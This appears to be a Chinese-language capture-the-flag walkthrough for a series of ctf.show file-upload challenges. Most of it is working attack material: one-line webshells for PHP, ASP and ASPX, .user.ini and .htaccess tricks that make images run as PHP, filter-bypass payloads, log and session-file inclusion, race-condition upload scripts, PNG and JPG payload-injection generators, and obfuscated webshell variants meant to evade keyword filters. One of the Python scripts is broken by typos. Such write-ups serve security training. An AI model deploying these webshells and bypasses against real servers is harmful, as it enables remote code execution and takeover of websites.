这里需要上传图片木马!所以我们需要先制作一张图片木马!
php的一句话木马: @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
这里是比较常用的一句话木马!
copy 1.png/b+2.php/a 3.png
然后上传抓包!
然后就有点搞笑了!
上面是错误示范!
这样子就可以了!
这里与上一题是一样的方法!
一模一样!分毫不差!
上传php不解析,所以我们就要换个思路了!
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
auto_prepend_file=filename //包含在文件头
auto_append_file=filename //包含在文件尾
这是两个配置项!
所以我们先上传一个.user.ini文件,里面写auto_prepend_file=3.php
此时我们再上传一个图片木马
里面写入
刚开始接着上传.user.ini!
然后我们可以对其改为短标签
=system("tac ../f*");?>
这里其实过滤了php所以我们可以改成短标签来进行绕过!
=system("tac ../f*");?>
或者
=(表达式)?> 等价于 echo (表达式)?> //无限制
=eval(@_POST['pass']);?>
这里就是用一句话木马了!
这里其实过滤了[],但是可以用{}进行代替它
用web154方法可以通过!
=eval($_POST{
pass});?>
这里将;给过滤了,我们可以用反引号来进行绕过!
一样用上题(web154)的办法可以通过,但过滤了分号,把短标签后面的;去掉!
=system("tac ../f*")?>
上题一样的做法!
这里是将()给ban了,我们采用反引号来执行命令,即
=`tac ../f*`?>
或
=`cat ../f*`?>
先说说第一种做法!
Nginx日志的默认路径:
/var/log/nginx/
=include"/var/lo"."g/nginx/access.lo"."g"?> (log被过滤)
依旧是先上传.user.ini文件,然后上传图片,内容如上!然后一句话写入User-Agent。.
最后蚁剑链接!
然后开始链接!
OK!
第二种方法!
=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
图片上传的时候写入这个东东!
然后访问upload页面再进行base64解码即可!
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
这道题对图片的文件头进行了检测!
所以在上题的基础上都加个 GIF89a 图片头就可以了
.user.ini也得加,图片也得加,都得加上去!
只要加上去,上题的两种方法都可以的!
然后访问页面就可以了!再进行一次base64解码就行了!
这次把.给ban了,我们使用session文件包含!
GIF89a
auto_prepend_file=/tmp/sess_harker
import requests
import threading
import io
url = 'http://1073efc7-0752-4fa7-8153-657adfb7cf0b.challenge.ctf.show:8080/'
def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS':''
}
while True:
f = io.BytesIO(b'GIF89a\nharker')
files = {
'file':('3.png',f,'image/png')}
response = session.post(url+"upload.php",cookie={
'PHPSESSID':'harker'},data=data,files=files)
def read(session):
while True:
response = session.get(url+'upload')
if 'ctfshow' in response.text:
print(response.text)
break
else:
print('NO')
if __name__ == '__mian__':
session = requsets.session()
for i in range(30):
threading.Thread(target=write,args=(session,)).start()
for i in range(30):
threading.Thread(target=read,args=(session,)).start()
这是条件竞争的脚本!
不过上面这里好像运行会报错!
用BP也是可以的!
import io#io库
import requests#requests路
import threading#多线程库
url = 'http://1073efc7-0752-4fa7-8153-657adfb7cf0b.challenge.ctf.show:8080/'
sessid = 'harker'
def write(session):#写入函数
while event.isSet():#当事件开启
f = io.BytesIO(b'a'*256)
response = session.post(#post形式访问
url,#url不变
cookies = {
'PHPSESSID':sessid},#cookies赋值
data = {
'PHP_SESSION_UPLOAD_PROGRESS':''},#文件内容
files = {
'file':('harker.txt',f)}#文件形式
)
def read(session):#读取函数
while event.isSet():#当事件开启
response = session.get(url+'upload/index.php'.format(sessid))#以get形式访问
if 'flag' in response.text:#如果存在flag则打印出内容
print(response.text)
event.clear()#关闭事件
else:
print('NO')#输出NO
if __name__=='__main__':
event = threading.Event()#定义事件
event.set()#开启事件
with requests.session() as session:#上下文管理,可以处理异常
for i in range(1,30):#开启线程
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):#开启线程
threading.Thread(target=read,args=(session,)).start()
上面这个是可以运行的!
我吗再来尝试尝试用BP来进行尝试!
然后再上传1文件!文件内容是包含harker的session文件!
这里也内容也可以直接写为auto_prepend_file=/tmp/sess_harker
然后下面这一步上传1文件就可以跳过了
内容为
=include"/tmp/sess_harker"?>
<html>
<body>
<form action="http://474bc699-60dd-4a99-91ef-2808a96c2d4a.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
form>
body>
html>
这道题的做法和上一题一模一样,但是这里完全用BP模拟一遍!
这里上传了.user.ini配置文件!接下来就是条件竞争和表单攻击了!
这里是没有的上传php图片是被刷新掉了!
/*$_GET[0]($_POST[1]);?>*/
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');
借助脚本来进行生成一个进行上传!
这是来借助php的gd库!
sudo apt-get install php-gd
上面是下载的命令!
然后我们再上传这个图片!再进行查看图片,可以得知图片路径!
此时我们便可以执行<=? $ _GET[0]( $ _POST[1]);?>这个语句了!
jpg渲染脚本!
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ' );
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
这里经过测试发现只有zip能够上传成功!所以我们该个后缀名应该就可以了!并且过滤了php,带着php发送过去没有回显!
然后再访问该网页!
此时使用蚁剑进行连接!
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
AddType application/x-httpd-php .jpg //将.png后缀的文件解析 成php
然后再传jpg进去一句话木马!
此时我们可以蚁剑或者访问该网页!
=`$_REQUEST[1]`;?>
利用反引号执行系统命令
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
$a='syste'.'m';($a)('ls ../');
拼接
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
拼接
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
拼接
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
反转字符
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{
abs})($$pi{
acos});
# get传参 abs=system&acos=ls
数学函数
上面是一些免杀的脚本!
过滤了关键字eval system!
然后访问harker.php页面!
这里是上传.user.ini这个进行文件包含!
此似我们再进行上传一个php文件!在UA里面写入一句话木马!
此时我们便可以进行蚁剑连接!或者进行网页访问以post进行传参!
这个和上面的一样!不过还是有点区别的!得加个文件头来绕过!
此时我们再上传一个php格式的文件,将UA改为一句话木马!
此时我们再进行蚁剑!